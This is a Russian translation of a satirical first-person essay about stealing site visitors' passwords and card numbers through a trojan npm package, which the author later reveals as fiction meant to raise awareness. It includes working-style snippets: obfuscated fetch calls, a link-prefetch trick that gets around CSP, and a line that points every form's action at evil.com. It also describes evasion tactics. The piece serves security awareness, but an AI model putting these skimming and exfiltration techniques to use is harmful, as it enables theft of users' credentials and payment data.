javascript

Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов

  • пятница, 12 января 2018 г. в 03:16:31
https://habrahabr.ru/company/ruvds/blog/346442/
  • Разработка веб-сайтов
  • Информационная безопасность
  • Node.JS
  • JavaScript
  • Блог компании RUVDS.com


Представляем вам перевод статьи человека, который несколько лет воровал имена пользователей, пароли и номера кредитных карт с различных сайтов.


То, о чём я хочу рассказать, было на самом деле. Или, может быть, моя история лишь основана на реальных событиях. А возможно всё это — выдумка.

Выдалась однажды такая неделя — безумное время, когда всех вокруг тревожила безопасность. Ощущение было такое, что новые уязвимости появляются ежедневно. Мне было не так уж и просто делать вид, будто я понимаю, что происходит, когда меня об этом спрашивали близкие люди. Их беспокоила перспектива того, что их взломают, что их данные утекут неизвестно куда. Всё это заставило меня на многое взглянуть по-новому.

В результате, скрепя сердце, я решил выложить всё начистоту и рассказать всему миру о том, как я в последние несколько лет воровал имена пользователей, пароли и номера кредитных карт с самых разных сайтов. Возможно, вы — администратор или разработчик одного из них.

Как это работает


Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:

  • На странице есть тег <form>.
  • Там имеется элемент, в свойствах которого есть input[type="password"], или name="cardnumber", или name="cvc", или нечто подобное.
  • Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.

Затем, при возникновении события blur у поля для ввода пароля или номера кредитной карты, или при возникновении события submit формы, код выполняет следующие действия:

  • Берёт данные из всех полей формы, расположенной на странице (document.forms.forEach(…)).
  • Читает document.cookie.
  • Превращает это всё в строку, которая выглядит как беспорядочный набор символов (const payload = btoa(JSON.stringify(sensitiveUserData))).
  • Затем отправляет то, что получилось, по примерно такому адресу: https://legit-analytics.com?q=${payload} (адрес это, конечно, выдуманный).

Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.

Предыстория


Конечно, когда я только написал этот код, в 2015-м, он, пребывая на моём собственном компьютере, ничего полезного сделать не мог. Мне нужно было выпустить его во внешний мир. Например, прямо на ваш сайт.

Вот мудрый совет от Google:

Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.

Какую технологию выбрать для распространения подобного кода? У XSS не тот масштаб, и тут всё очень хорошо защищено. Расширения Chrome слишком ограничены.

К счастью для меня, мы живём в эпоху, когда люди, не особо задумываясь о том, что делают, постоянно устанавливают npm-пакеты.

NPM


Итак, моим методом для распространения вредоносного кода стал npm. Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.

Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст. Вот как это выглядит:


А вот, если надо, исходный код.

Я был в этот момент весьма взвинчен, так как у меня был интересный пакет, всё было готово к выполнению моего плана, но мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.

Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и ещё добавил возможности логирования».

Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут всё дело — в количестве.

В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.

И это — только один пакет. Похожих было ещё 6.

Тогда я вышел более чем на 120000 загрузок в месяц, и с гордостью мог заявить, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая кое-какие из списка Alexa Top 1000, отправляя мне целые реки имён пользователей, паролей и данных по кредитным картам.

Вспоминая эти золотые годы, я не могу поверить, что люди прилагают столько усилий для совершения XSS-атак, которые затрагивают всего лишь один сайт. Ведь так легко внедрить собственный код на тысячи сайтов, воспользовавшись невольной помощью веб-разработчиков.

Анализ замечаний тех, кто уверен в своей безопасности


Кое-кто может усомниться в действенности вышеописанной схемы внедрения кода на сайты и сбора ценных данных и выскажет некоторые замечания, сводящиеся к тому, что уж его-то проекту мой вредоносный пакет не страшен. Поговорим об этом.

▍Я заметил бы исходящие сетевые запросы!


Где бы вы их заметили? Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель откреплена от основного окна).

Я называю это «манёвром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.

Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b).

▍Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!


В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.

И учётные данные нужны мне лишь один раз. Поэтому, после того, как я отправил данные с некоего устройства, я делаю об этом запись (в локальное хранилище и куки) и больше данные с этого устройства не отправляю. Репликация мне ни к чему.

Даже если какой-нибудь прилежный пентестер постоянно очищает куки и локальное хранилище, я отправляю данные на свой сервер лишь периодически, да ещё и вношу сюда некоторую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.

Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые выполняет ваш сайт, скажем, к рекламным сетям.

Дело тут в том, что то, что вы этого не видите, не значит, что этого не происходит. Моя система работает уже больше двух лет, и, насколько я знаю, никто никогда даже не заметил этих моих запросов. Может быть, всё это время мой код работал именно на вашем сайте.

Забавная вещь. Когда я обработал все пароли и номера кредитных карт, которые собрал, и подготовил их для продажи в дакрвебе, мне пришлось проверить, нет ли среди этих данных моей кредитной карты или чего-то ещё, на тот случай, если я сам перехватил собственные данные. Это было бы уже не так уж и весело.

▍Я бы это увидел в исходном коде пакета на GitHub!


Ваша невинность умилительна. Но я боюсь, что абсолютно реально сделать так: отправить одну версию кода в GitHub, а другую — в npm.

В моём package.json я задал свойство files так, что оно указывает на директорию lib, которая содержит минифицированный и изменённый до неузнаваемости вредоносный код. Именно это команда npm publish шлёт в npm. Но директория lib указана в .gitignore, в результате её содержимое на GitHub никогда не попадёт. Перед нами весьма распространённый подход, поэтому подобное даже не кажется подозрительным при просмотре файлов проекта на GitHub.

Это — не проблема npm, если бы я даже не отправлял разный код в npm и в GitHub, кто смог бы сказать, что то, что лежит в /lib/package.min.js — это реальный результат минификации /src/package.js?

В итоге, на GitHub мой код никому не найти.

▍Я проанализировал бы все минифицированные исходники кода из node_modules!


Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы полагаете, что можете написать нечто интеллектуальное, автоматически проверяющее код на наличие разных подозрительных вещей.

Если и так, то вы, опять же, не сможете найти в моём коде ничего подозрительного. У меня нет слов fetch и XMLHttpRequest, или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А self — это всего лишь псевдоним для window.

А вот ещё один способ записать команду вида fetch(...):

self['\u0066\u0065\u0074\u0063\u0068'](...)

Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.

Учитывая вышесказанное, хочу сказать, что я, на самом деле, не использую какие-то скучные вещи наподобие fetch. Я предпочитаю везде, где это возможно, пользоваться конструкцией вроде new EventSource(urlWithYourPreciousData). При таком подходе, даже если с параноидальной настойчивостью мониторить исходящие запросы, используя serviceWorker для прослушивания событий fetch, мой код в такую ловушку не попадётся. Я просто не отправляю ничего из браузеров, поддерживающих serviceWorker, но не EventSource.

▍У меня есть политика защиты контента!


Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

В ранней версии этого материала я сказал, что продуманная CSP защитила бы вас (цитирую) «на 100%». К несчастью, до того, как я додумался до вышеописанного трюка, этот материал прочитало 130 тысяч человек. Я так думаю, отсюда можно сделать вывод о том, что никому и ничему в интернете верить нельзя.

Однако, политики защиты контента нельзя назвать полностью бесполезными. Вышеприведённый пример работает лишь в Chrome, и качественная CSP может помешать работе моего кода в некоторых менее распространённых браузерах.

Если вы ещё не знаете, то CSP может (пытается, по крайней мере) ограничить то, какие сетевые запросы могут быть сделаны из браузера. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер, но рассматривать CSP можно и как средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в запросе GET).

В случае, когда я не могу отправить данные, используя вышеописанный трюк с prefetch, политики защиты содержимого превращаются в проблему для моей корпорации по сбору номеров кредитных карт. И не только потому, что они мне мешают.

Можно заметить, что если я попытаюсь украсть данные с сайта, имеющего CSP, владелец сайта может быть оповещён о неудачной попытке вторжения (если задано report-uri). Это, в итоге, может привлечь внимание к моему коду, владелец сайта пойдёт дальше, а значит, у меня могут возникнуть серьёзные проблемы.

Так как я не хочу привлекать к себе внимание (если только речь не идёт о танцплощадке), я проверяю CSP перед попыткой что-либо отправить на свой сервер из браузера.

Для того чтобы это сделать, я выполняю фиктивный запрос к текущей странице и анализирую заголовки.

fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // Существует ли такой заголовок? Устраивает ли это меня?
});

В этот момент я могу поискать дыры в CSP. Поразительно, но страница для входа в систему Google имеет плохую CSP, которая позволила бы мне очень просто перехватить имя пользователя и пароль, если бы мой код выполнялся на этой странице. Они не предусмотрели установку connect-src и, кроме того, не задали «универсальный перехватчик» default-src, что даёт мне возможность отправлять то, что я собрал, тогда, когда мне этого захочется.

Если вы мне пришлёте десять долларов по почте — я скажу вам, имеется ли мой код на странице входа в систему Google.

У Amazon, на той странице, где вводят номер кредитной карты, совсем нет CSP. То же самое касается и eBay.

У Twitter и PayPal имеется CSP, но украсть у них данные очень просто. Эти две компании сделали одну и ту же ошибку, и, возможно, это указывает на то, что и другие её делают. На первый взгляд всё выглядит довольно прилично, и там и там, как и должно быть, задано default-src. Но вот проблема — эта штука должна перехватывать всё, но она этого не делает. Они не заблокировали form-action.

Итак, когда я проверяю политику защиты контента (и проверяю её дважды), если всё остальное заблокировано, но я вижу, что не заблокировано form-action, я просто беру и меняю действие (в том месте, где данные отправляются на сервер по нажатию кнопки Войти или подобной) во всех формах.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

Вот так. Спасибо, друг, что прислал мне своё имя пользователя и пароль из PayPal. Я отправлю тебе поздравительную открытку с фотографией всего того, что купил на твои деньги.

Естественно, я выполняю такой трюк лишь один раз на одном устройстве, и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.

Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.

Надеюсь, мне удалось развеять сомнения тех, кто не был уверен в работоспособности описанного здесь подхода к сбору данных с сайтов. Теперь вполне логично задаться вопросом о том, как от этого всего защищаться.

Что делать?


Вот несколько вариантов защиты от всего того, о чём я рассказал.

▍Вариант №1: никакого интернета, никаких сайтов


Полагаю, тут всё понятно без лишних слов:


Здесь вы будете в безопасности.

▍Вариант №2: никакого постороннего кода на важных страницах


На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, в общем — речь идёт о любом чужом коде.

Как советуют здесь, вы можете решить обзавестись очень простыми выделенными страницами для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.

При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит ценные данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).

Скоро я опубликую отчёт за 2017-й год, где задекларирую доход, полученный от воровства кредитных карт и продажи их всяким криминальным элементам. Закон требует, чтобы я раскрыл список сайтов, с помощью которых я собрал больше всего номеров кредитных карт. Может быть среди них окажется и ваш сайт?

Так как я — человек позитивный — любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-го января, будет избавлен от публичного позора.

Серьёзный разговор


Допускаю, что мой безжалостный сарказм кому-то может быть трудно понять, например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот материал — чистой воды выдумка, но всё это вполне могло случиться на самом деле. Хотя всё это — лишь моя фантазия, меня беспокоит то, что всё это довольно легко реализуемо.

В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и если этот код написан хорошо, никто никогда об этом не узнает.

Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую смягчающую функцию. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к коду своего сайта?

Итоги


Зачем я вообще написал этот материал? Может для того, чтобы заявить каждому, кто его прочтёт о том, что он — простофиля, которого легко обвести вокруг пальца? Нет конечно. (И, кстати, с этого стоило бы начать, но потом я понял, что я — такой же простофиля).

Моя цель (как оказалось) заключается в том, чтобы привлечь внимание к тому, что любой сайт, включающий в себя сторонний код, уязвим. Причём, его уязвимости практически нереально обнаружить. Надеюсь, этот мой рассказ дал пищу для ума тем, кого волнуют вопросы безопасности в сети.

Уважаемые читатели! Что вы делаете для того, чтобы обезопасить свои веб-проекты от потенциально опасного стороннего кода, включаемого в них?